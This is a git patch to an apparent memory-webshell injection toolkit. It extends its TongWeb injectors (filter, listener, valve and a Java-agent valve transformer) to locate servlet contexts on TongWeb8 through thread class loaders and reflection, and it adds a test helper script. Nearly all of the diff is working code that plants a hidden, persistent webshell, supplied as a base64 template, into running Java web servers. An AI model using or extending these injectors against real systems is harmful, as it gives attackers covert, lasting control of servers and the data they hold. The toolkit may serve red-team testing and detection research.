From 53849f17fed4515de7a8b7bea7b9acd797a6a675 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 28 Jun 2025 05:22:29 +0800 Subject: [PATCH] fix: TongWeb8 context fetch error --- integration-test/script/tongweb8_pid.sh | 2 + .../javaweb/integration/ContainerTool.java | 1 + .../TongWebContextValveAgentInjector.java | 48 +++++++++++-------- .../TongWebFilterChainAgentInjector.java | 2 - .../tongweb/TongWebFilterInjector.java | 30 +++++++----- .../tongweb/TongWebListenerInjector.java | 9 ++-- .../tongweb/TongWebValveInjector.java | 9 ++-- 7 files changed, 61 insertions(+), 40 deletions(-) create mode 100755 integration-test/script/tongweb8_pid.sh diff --git a/integration-test/script/tongweb8_pid.sh b/integration-test/script/tongweb8_pid.sh new file mode 100755 index 00000000..9cc31a6d --- /dev/null +++ b/integration-test/script/tongweb8_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +pgrep -f tongweb-bootstrap.jar | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 56a7bb59..33aa5c37 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -28,6 +28,7 @@ public class ContainerTool { public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh")); + public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh")); public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh")); public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh")); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java index 7b8f9c67..d94e48ae 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java @@ -14,8 +14,11 @@ import java.util.zip.GZIPInputStream; * @since 2025/3/26 */ public class TongWebContextValveAgentInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve"; - private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve"; + private static final String[] TARGET_CLASSES = new String[]{ + "com/tongweb/web/thor/core/StandardContextValve", + "com/tongweb/catalina/core/StandardContextValve", + "com/tongweb/server/core/StandardContextValve" + }; private static final String TARGET_METHOD_NAME = "invoke"; public static String getClassName() { @@ -39,10 +42,11 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer { inst.addTransformer(new TongWebContextValveAgentInjector(), true); for (Class allLoadedClass : inst.getAllLoadedClasses()) { String name = allLoadedClass.getName(); - if (TARGET_CLASS.replace("/", ".").equals(name) - || TARGET_CLASS_1.replace("/", ".").equals(name)) { - inst.retransformClasses(allLoadedClass); - System.out.println("MemShell Agent is working at " + name + ".invoke"); + for (String targetClass : TARGET_CLASSES) { + if (targetClass.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at " + name + ".invoke"); + } } } } @@ -51,21 +55,23 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer { @SuppressWarnings("all") public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { - if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { - defineTargetClass(loader); - try { - ClassReader cr = new ClassReader(bytes); - ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { - @Override - protected ClassLoader getClassLoader() { - return loader; - } - }; - ClassVisitor cv = getClassVisitor(cw); - cr.accept(cv, ClassReader.EXPAND_FRAMES); - return cw.toByteArray(); - } catch (Exception e) { - e.printStackTrace(); + for (String targetClass : TARGET_CLASSES) { + if (className.equals(targetClass)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Exception e) { + e.printStackTrace(); + } } } return bytes; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java index 2d74f558..8b10b822 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java @@ -14,8 +14,6 @@ import java.util.zip.GZIPInputStream; * @since 2025/3/26 */ public class TongWebFilterChainAgentInjector implements ClassFileTransformer { - private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain"; - private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain"; private static final String[] TARGET_CLASSES = new String[]{ "com/tongweb/web/thor/core/ApplicationFilterChain", "com/tongweb/catalina/core/ApplicationFilterChain", diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java index bbc082d9..c81621af 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java @@ -34,8 +34,9 @@ public class TongWebFilterInjector { public TongWebFilterInjector() { try { - List contexts = getContext(); + Set contexts = getContext(); for (Object context : contexts) { + logger.info(context.getClass().getName()); Object filter = getShell(context); inject(context, filter); } @@ -49,20 +50,27 @@ public class TongWebFilterInjector { * /opt/tweb6/lib/twnt.jar * com.tongweb.catalina.core.ApplicationContext * /opt/tweb7/lib/tongweb.jar - * com.tongweb.server.core.ApplicationContext - * /opt/tweb8/lib/tongweb-web.jar + * com.tongweb.server.core.StandardContext + * /opt/tweb8/version8.0.6.2/tongweb-web.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { - if (thread.getName().contains("ContainerBackgroundProcessor")) { - Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); - Collection values = childrenMap.values(); - for (Object value : values) { - Map children = (Map) getFieldValue(value, "children"); - contexts.addAll(children.values()); + try { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + Collection values = childrenMap.values(); + for (Object value : values) { + Map children = (Map) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (thread.getContextClassLoader() != null + && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { + contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); } + }catch (Exception ignored) { + } } return contexts; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java index 50b0e54f..e0dffc0f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java @@ -19,7 +19,7 @@ public class TongWebListenerInjector { public TongWebListenerInjector() { try { - List contexts = getContext(); + Set contexts = getContext(); for (Object context : contexts) { Object listener = getShell(context); inject(context, listener); @@ -37,8 +37,8 @@ public class TongWebListenerInjector { return "{{base64Str}}"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -48,6 +48,9 @@ public class TongWebListenerInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null + && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { + contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); } } return contexts; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java index fa379b02..23473439 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java @@ -19,7 +19,7 @@ public class TongWebValveInjector { public TongWebValveInjector() { try { - List contexts = getContext(); + Set contexts = getContext(); for (Object context : contexts) { Object valve = getShell(context); inject(context, valve); @@ -37,8 +37,8 @@ public class TongWebValveInjector { return "{{base64Str}}"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet<>(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -48,6 +48,9 @@ public class TongWebValveInjector { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } + } else if (thread.getContextClassLoader() != null + && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) { + contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); } } return contexts;